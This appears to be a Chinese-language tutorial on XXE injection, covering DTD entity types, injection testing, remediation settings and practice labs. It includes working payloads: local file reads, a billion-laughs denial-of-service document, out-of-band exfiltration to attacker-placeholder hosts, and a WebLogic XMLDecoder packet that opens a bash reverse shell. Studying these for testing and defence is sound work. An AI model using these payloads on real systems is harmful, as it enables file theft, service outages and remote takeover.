XXE
XXE
漏洞原理
XXE,XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体。
XML原理
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,包括XML声明、DTD文档类型定义(可选)和文档元素
xml语法:
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中,空格会被保留
DTD 可被成行地声明于XML文档中,也可作为一个外部引用。实体必须在DTD中定义申明,也可以在文档中其他位置引用该实体。
通常有以下三种类型:
- 内部实体
- 外部实体
- 参数实体。
实体引用的方式举例:
-
内部实体引用
<!DOCTYPE foo [ <!ENTITY myentity "Hello, world!"> ]> <root> &myentity; </root> -
外部实体引用:引用一个外部文件并插入xml文档中
<!DOCTYPE foo [ <!ENTITY myentity SYSTEM "http://example.com/myfile.xml"> ]> <root> &myentity; </root> -
参数实体引用:只允许在DTD文档中使用,不能在xml文档(比如root标签处)中使用
<!DOCTYPE foo [ <!ENTITY % myentity SYSTEM "http://example.com/myfile.xml"> %myentity; ]> <root> </root>
xml可支持的外部实体类型是有限制的,不同的程序可能不一样,但基本都有的类型是file、http、ftp
注入点判断
所有接受XML作为输入内容且能够解析的接口的body部分都可能是注入点
接受XML作为传输内容:
Accept:application/xhtml+xml
假如某个接口的请求包数据如下
<user><username>admin;</username><password>123456</password></user>
那么可以尝试注入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY
[ <!ENTITY test "Hello world">
]>
<user><username>admin;&test;</username><password>123456</password></user>
测试是否支持DTD引用外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt">
]>
<user><username>admin;&test;</username><password>123456</password></user>
当远端服务器看到了请求记录就代表允许引用外部实体,因此也就存在xml外部实体漏洞
另外,content-type为json的接口也有一定可能存在XXE漏洞,返回JSON格式数据的接口可能存在XXE注入点,如果应用程序在处理JSON数据之前将其转换为XML,或者接受XML格式的数据作为备选输入,这种情况下,攻击者可以通过修改Content-Type头或者在JSON数据中嵌入XML标签来触发XXE漏洞
漏洞分类
| XXE 攻击类型 | 描述 |
|---|---|
| 利用 XXE 检索文件 | 其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。 |
| 利用 XXE 执行 SSRF 攻击 | 其中,外部实体是根据后端系统的 URL 定义的。 |
| 利用盲 XXE 在带外泄露数据 | 敏感数据从应用程序服务器传输到攻击者控制的系统的位置。 |
| 利用盲XXE通过错误消息检索数据 | 攻击者可以触发包含敏感数据的解析错误消息。 |
有回显
-
直接DTD外部实体引用:
<!DOCTYPE ANY [ <!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt"> ]> -
间接引用DTD文档
<!DOCTYPE ANY [ <!ENTITY test SYSTEM "http://localhost/test.dtd"> ]>DTD文档的内容是:
<!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt">
无回显(bind)
漏洞利用
只要能够被服务器请求,那么就基本可以利用。比如在进行内网渗透时,内网主机NFS配置不当或是rsync配置不当都可能导致文件被读取,如果内网主机存在远程命令执行漏洞,借助服务器,攻击者可以直接在内网主机上执行命令
文件读取
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "file:///etc/passwd">%name;
]>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>admin;&xxe;</username><password>123456</password></user>
###
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [ <!ELEMENT data (#PCDATA)> ]><data>4</data>
拒绝服务攻击
通过创建一项递归的 XML 定义,在内存中生成大量数据,从而导致 DoS 攻击。
构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
带外注入
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY% files SYSTEM "file:///etc/passwd">
<!ENTITY% send SYSTEM "http://myip/?a=%files;">
%send;]>
如果报错参数实体引用不能出现在 DTD 的内部子集中的标记内,那就必须将参数实体引用放在外部的DTD文件中
1.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://localhost:8080/1.dtd">
%xd;
]>
<root>&bbbb;</root>
1.dtd:
<!ENTITY % aaaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://localhost:8080/?file=%aaaa;'>">
%demo;
需要注意的是,这种引用需要文件中的内容是一段没有空格的字符串,否则得到的url将格式错误导致无法正常发出请求,
远程命令执行
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://id">
]>
<abc>&test;</abc>
此示例依赖于php安装了expect扩展
又比如weblogic的基于xmldecoder的java反序列化漏洞,通过构造特定的包,在里面包含特定的xml文档就可以实现远程命令执行:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.194.160/8000 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
检测工具
XXEinjector
- 需要指定–host参数,表示我们的IP地址,用于接收反向连接。
- 需要指定–file参数,表示包含有效HTTP请求和XML数据的文件。
- 可以指定–path参数,表示要读取的文件或目录的路径。
- 可以指定–brute参数,表示要暴力破解的文件列表。
- 可以指定–oob参数,表示使用带外方法获取数据,如http、ftp、gopher等。
- 可以指定–second参数,表示使用二次请求来发送带外数据。
- 可以指定–phpfilter参数,表示使用PHP过滤器绕过限制。
- 可以指定–expect参数,表示使用expect://协议执行命令。
XXExploiter
代码审计
sax
漏洞修复
- 将xml的预定义字符进行转义:
| 预定义字符 | 转义后的预定义字符 |
|---|---|
| < | < |
| > | > |
| & | & |
| ’ | ' |
| ” | " |
-
关闭外部实体引用或是忽略它,不同的xml解析库有不同的关闭方式:
- PHP: 使用libxml_disable_entity_loader(true)函数
- JAVA: 使用DocumentBuilderFactory类的setExpandEntityReferences(false)方法
- Python: 使用lxml库的etree.XMLParser类的resolve_entities参数设置为False
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考
- XXE(XML External Entity attack)XML外部实体注入攻击 - FreeBuf网络安全行业门户
- XXE漏洞检测及代码执行过程 - tr1ple - 博客园 (cnblogs.com)
靶场
- XXE Injection Lab: 这是一个开放的XXE漏洞测试平台,包含了多个不同的测试场景。你可以在这里练习不同类型的XXE攻击,包括基于本地文件系统、外部实体和参数实体的攻击等。
- OWASP WebGoat: WebGoat是一个专门设计用于测试Web应用程序安全性的开放源代码项目。它包含许多不同的漏洞示例,其中包括XXE漏洞。你可以使用WebGoat来学习XXE漏洞的不同类型和如何利用它们。
- PentesterLab: 这是一个专注于Web应用程序安全性测试和漏洞利用的平台。它提供了一些XXE漏洞的练习场景,帮助你深入了解如何识别和利用XXE漏洞。
- Hack.me: 这是一个基于Web的漏洞测试平台,其中包含许多不同类型的漏洞示例,包括XXE漏洞。你可以在Hack.me上找到一些有趣的XXE漏洞测试场景。